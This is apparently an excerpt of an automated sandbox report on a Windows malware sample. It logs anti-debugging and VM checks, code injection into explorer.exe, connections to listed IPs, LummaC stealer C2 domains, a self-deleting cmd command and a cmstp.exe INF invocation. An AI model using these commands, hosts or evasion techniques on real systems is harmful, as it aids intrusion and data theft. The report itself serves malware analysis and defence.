                          Source: explorer.exe, 00000002.00000000.2021398786.0000000003530000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware,p
                          Source: svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VIRTUALBOXUSOFTWARE\Oracle\VirtualBox Guest Additions!noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
                          Source: explorer.exe, 00000002.00000000.2020519450.0000000000F13000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696428655x
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeAPI call chain: ExitProcess graph end nodegraph_11-45023
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeSystem information queried: ModuleInformationJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeProcess information queried: ProcessInformationJump to behavior

                          Anti Debugging

                          barindex
                          Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeSystem information queried: CodeIntegrityInformationJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbSystem information queried: CodeIntegrityInformationJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeProcess queried: DebugPortJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbProcess queried: DebugPortJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeProcess queried: DebugPort
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_02F4871C rdtsc 10_2_02F4871C
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00424168 _memset,IsDebuggerPresent,11_2_00424168
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,11_2_0042A57A
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00416540 LoadLibraryW,GetProcAddress,VirtualProtect,0_2_00416540
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D10D90 mov eax, dword ptr fs:[00000030h]0_2_02D10D90
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D1092B mov eax, dword ptr fs:[00000030h]0_2_02D1092B
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E7CE04 push dword ptr fs:[00000030h]0_2_02E7CE04
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_02E7C3C4 push dword ptr fs:[00000030h]4_2_02E7C3C4
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0470092B mov eax, dword ptr fs:[00000030h]4_2_0470092B
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_04700D90 mov eax, dword ptr fs:[00000030h]4_2_04700D90
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_02E60D90 mov eax, dword ptr fs:[00000030h]5_2_02E60D90
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_02E6092B mov eax, dword ptr fs:[00000030h]5_2_02E6092B
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_02F2BD14 push dword ptr fs:[00000030h]5_2_02F2BD14
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_02F470A3 push dword ptr fs:[00000030h]10_2_02F470A3
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04990042 push dword ptr fs:[00000030h]10_2_04990042
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_048A90A3 push dword ptr fs:[00000030h]15_2_048A90A3
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E0042 push dword ptr fs:[00000030h]15_2_049E0042
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004278D5 GetProcessHeap,11_2_004278D5
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,11_2_004329EC
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004329BB SetUnhandledExceptionFilter,11_2_004329BB
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeMemory allocated: page read and write | page guard

                          HIPS / PFW / Operating System Protection Evasion

                          barindex
                          Benign windows process drops PE files
                          Source: C:\Windows\explorer.exeFile created: EE23.exe.2.drJump to dropped file
                          System process connects to network (likely due to code injection or exploit)
                          Source: C:\Windows\explorer.exeNetwork Connect: 104.21.21.16 443Jump to behavior
                          Source: C:\Users\user\AppData\Roaming\svchost.exeNetwork Connect: 104.21.25.142 80
                          Source: C:\Windows\explorer.exeNetwork Connect: 46.175.144.56 443Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 144.76.136.153 443Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 185.12.126.182 80Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 154.7.253.53 443Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 62.109.150.87 80Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 196.188.169.138 80Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 103.23.232.80 80Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 172.67.169.89 443Jump to behavior
                          Contains functionality to inject code into remote processes
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04990110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,10_2_04990110
                          Creates a thread in another existing process (thread injection)
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeThread created: C:\Windows\explorer.exe EIP: 33619A0Jump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbThread created: unknown EIP: 84F19A0Jump to behavior
                          Injects a PE file into a foreign processes
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeMemory written: C:\Users\user\AppData\Local\Temp\EE23.exe base: 400000 value starts with: 4D5AJump to behavior
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeMemory written: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe base: 400000 value starts with: 4D5A
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeMemory written: C:\Users\user\AppData\Local\Temp\EE23.exe base: 400000 value starts with: 4D5A
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeMemory written: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe base: 400000 value starts with: 4D5A
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeMemory written: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe base: 400000 value starts with: 4D5A
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeMemory written: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe base: 400000 value starts with: 4D5A
                          LummaC encrypted strings found
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: sofahuntingslidedine.shop
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: culturesketchfinanciall.shop
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: triangleseasonbenchwj.shop
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: modestessayevenmilwek.shop
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: liabilityarrangemenyit.shop
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: claimconcessionrebe.shop
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: secretionsuitcasenioise.shop
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: gemcreedarticulateod.shop
                          Source: 84F5.exe, 0000001D.00000002.2765657226.00000000007E8000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: resergvearyinitiani.shop
                          Source: 3EE1.exe, 00000024.00000002.3118264047.00000000026DF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: exitassumebangpastcone.shop
                          Maps a DLL or memory area into another process
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and readJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and readJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,11_2_00419F90
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4204 -ip 4204Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 360Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4140 -ip 4140Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4140 -ip 4140Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1548Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1484Jump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe C:\Users\user\AppData\Local\Temp\EE23.exeJump to behavior
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe "C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknown
                          Source: C:\Windows\System32\svchost.exeProcess created: unknown unknown
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe --Task
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\Temp\EE23.exe "C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe"
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeProcess created: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe"
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe" & del "C:\ProgramData\*.dll"" & exit
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeProcess created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeProcess created: unknown unknown
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeProcess created: unknown unknown
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat""
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout 3
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "c:\windows\system32\cmstp.exe" /au C:\windows\temp\chpkcaqm.inf
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd=
                          Source: explorer.exe, 00000002.00000000.2021011044.0000000001731000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
                          Source: explorer.exe, 00000002.00000000.2021011044.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2022075412.0000000004B00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                          Source: explorer.exe, 00000002.00000000.2021011044.0000000001731000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                          Source: explorer.exe, 00000002.00000000.2021011044.0000000001731000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                          Source: explorer.exe, 00000002.00000000.2020519450.0000000000EF0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PProgman
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049B80F6 cpuid 10_2_049B80F6
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: _LcidFromHexString,GetLocaleInfoA,0_2_0041F4F3
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: EnumSystemLocalesA,0_2_0041F888
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: _GetPrimaryLen,EnumSystemLocalesA,0_2_0041F8B2
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,__itow_s,0_2_0041F955
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: GetConsoleAliasesA,InterlockedDecrement,FindAtomW,DeviceIoControl,GetComputerNameW,SetDefaultCommConfigW,FreeEnvironmentStringsA,AddAtomW,GetCurrentDirectoryA,EnumDateFormatsW,FatalAppExitW,GetModuleHandleExW,GetConsoleAliasesLengthW,DnsHostnameToComputerNameA,GetLocaleInfoW,TzSpecificLocalTimeToSystemTime,SetCurrentDirectoryW,OpenWaitableTimerA,CompareStringA,CreateDirectoryW,0_2_00416F60
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: _GetPrimaryLen,EnumSystemLocalesA,0_2_0041F919
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,0_2_0041F7C6
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,0_2_0041F3FE
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: GetLocaleInfoW,_GetPrimaryLen,0_2_0041F59A
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: _LcidFromHexString,GetLocaleInfoA,4_2_0041F4F3
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: EnumSystemLocalesA,4_2_0041F888
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: _GetPrimaryLen,EnumSystemLocalesA,4_2_0041F8B2
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,__itow_s,4_2_0041F955
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: GetConsoleAliasesA,InterlockedDecrement,FindAtomW,DeviceIoControl,GetComputerNameW,SetDefaultCommConfigW,FreeEnvironmentStringsA,AddAtomW,GetCurrentDirectoryA,EnumDateFormatsW,FatalAppExitW,GetModuleHandleExW,GetConsoleAliasesLengthW,DnsHostnameToComputerNameA,GetLocaleInfoW,TzSpecificLocalTimeToSystemTime,SetCurrentDirectoryW,OpenWaitableTimerA,CompareStringA,CreateDirectoryW,4_2_00416F60
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: _GetPrimaryLen,EnumSystemLocalesA,4_2_0041F919
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,4_2_0041F7C6
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,4_2_0041F3FE
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: GetLocaleInfoW,_GetPrimaryLen,4_2_0041F59A
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: _LcidFromHexString,GetLocaleInfoA,5_2_0041F4F3
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: EnumSystemLocalesA,5_2_0041F888
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: _GetPrimaryLen,EnumSystemLocalesA,5_2_0041F8B2
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,__itow_s,5_2_0041F955
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: GetConsoleAliasesA,InterlockedDecrement,FindAtomW,DeviceIoControl,GetComputerNameW,SetDefaultCommConfigW,FreeEnvironmentStringsA,AddAtomW,GetCurrentDirectoryA,EnumDateFormatsW,FatalAppExitW,GetModuleHandleExW,GetConsoleAliasesLengthW,DnsHostnameToComputerNameA,GetLocaleInfoW,TzSpecificLocalTimeToSystemTime,SetCurrentDirectoryW,OpenWaitableTimerA,CompareStringA,CreateDirectoryW,5_2_00416F60
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: _GetPrimaryLen,EnumSystemLocalesA,5_2_0041F919
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,5_2_0041F7C6
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,5_2_0041F3FE
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: GetLocaleInfoW,_GetPrimaryLen,5_2_0041F59A
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,10_2_049C3F87
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,10_2_049BC8B7
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,10_2_049C49EA
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,10_2_049C394D
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,10_2_049D0AB6
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,11_2_0043404A
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,11_2_00438178
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,11_2_00440116
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,11_2_004382A2
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: GetLocaleInfoW,_GetPrimaryLen,11_2_0043834F
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,11_2_00438423
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: EnumSystemLocalesW,11_2_004387C8
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: GetLocaleInfoW,11_2_0043884E
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,11_2_00432B6D
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,11_2_00432FAD
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___g